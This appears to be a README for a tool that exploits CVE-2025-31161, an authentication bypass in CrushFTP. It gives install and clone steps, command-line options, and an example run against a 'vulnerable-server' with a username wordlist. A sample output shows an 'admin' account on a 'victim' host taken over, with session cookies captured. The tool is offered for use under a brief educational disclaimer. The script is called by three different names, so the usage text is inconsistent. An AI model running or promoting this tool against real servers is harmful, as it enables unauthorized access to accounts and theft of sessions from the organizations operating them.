CrushFTP CVE-2025-31161 Exploit Tool 🔓

Advanced detection and exploitation tool for CVE-2025-31161 vulnerability in vulnerable CrushFTP versions.

CVE-2025-31161 is a critical authentication bypass vulnerability in the CrushFTP Web Interface. By manipulating the HTTP Authorization header, an unauthenticated attacker can gain full access under any valid username without supplying the correct password.

Affected Versions

CrushFTP 9.3.8

CrushFTP 9.3.9

CrushFTP 9.3.10

CrushFTP 9.3.11

CrushFTP 9.3.12

CrushFTP Enterprise versions before 9.3.12.5

Key Features 🚀

• Automatic CrushFTP version detection and vulnerability verification
• Multi-threaded credential testing for rapid user enumeration
• Dual authentication method support (Bearer Token & Basic Auth)
• JSON report generation with session cookies
• Smart connection retry mechanisms with custom configurations
• Colorized console output with detailed logging
• Vulnerable version coverage:
  • 9.3.8 through 9.3.12.5

Requirements 📋

• Python 3.8+

• Required packages:

  root@kitploit:~

  pip install requests colorama urllib3
  

  Installation 🛠️

1. Install dependencies:

 pip install requests colorama urllib3

2. Clone repository:

 git clone https://github.com/TX-One/CVE-2025-31161.git
 cd CVE-2025-31161
 python3 tx-crush.py -h

Usage 🖥️

Basic Command:

python3 CVE-2025-31161.py -t https://target:8080 -u users.txt -o results.json

Options:

-h, --help            show this help message and exit
  -t, --target TARGET   Target URL (e.g., https://example.com:8080)
  -u, --users USERS     File containing username list
  -o, --output OUTPUT   Output JSON file
  -T, --threads THREADS
                        Number of threads (default: 5)
  --no-ssl              Disable SSL verification
  --timeout TIMEOUT     Request timeout (default: 15)
  --retries RETRIES     Number of retries (default: 3)
  --force               Bypass version check

Advanced Example:

python3 exploit.py
  -t https://vulnerable-server.com:8000
  -u ./wordlists/common_users.txt
  -o ./results/compromised.json
  -T 10
  --retries 5
  --timeout 20

Output Sample 📄

[
  {
    "target": "https://victim:8080",
    "user": "admin",
    "success": true,
    "method": "Bearer",
    "cookies": {"sessionID": "a1b2c3..."},
    "server_version": "CrushFTP/9.3.12"
  }
]

[
  {
        "target": "http://victim:8080",
        "user": "admin",
        "success": false
    }
]

Disclaimer: This project is for educational and security research purposes only. Responsible usage required.